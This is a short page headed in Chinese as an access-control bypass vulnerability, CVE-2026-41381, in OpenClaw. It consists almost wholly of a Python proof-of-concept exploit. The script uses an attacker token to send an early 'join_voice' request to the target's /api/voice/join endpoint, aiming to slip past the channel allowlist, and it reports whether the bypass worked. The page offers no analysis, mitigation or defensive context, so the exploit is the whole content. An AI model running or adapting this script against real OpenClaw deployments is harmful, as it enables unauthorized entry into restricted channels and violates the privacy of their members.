CVE-2026-41381 OpenClaw访问控制绕过漏洞

import requests def exploit_access_control(target_url, channel_id, attacker_token): """ PoC for CVE-2026-41381 Attempts to bypass channel allowlist by sending voice request early. """ headers = { "Authorization": attacker_token, "Content-Type": "application/json" } # Simulate sending the voice ingress request before authorization check payload = { "channel_id": channel_id, "action": "join_voice" } # Send the request response = requests.post(f"{target_url}/api/voice/join", json=payload, headers=headers) if response.status_code == 200: return "[+] Successfully bypassed allowlist and joined channel." else: return f"[-] Failed to join channel. Status: {response.status_code}" # Usage # exploit_access_control("http://target-openclaw", "restricted_channel_id", "attacker_auth_token")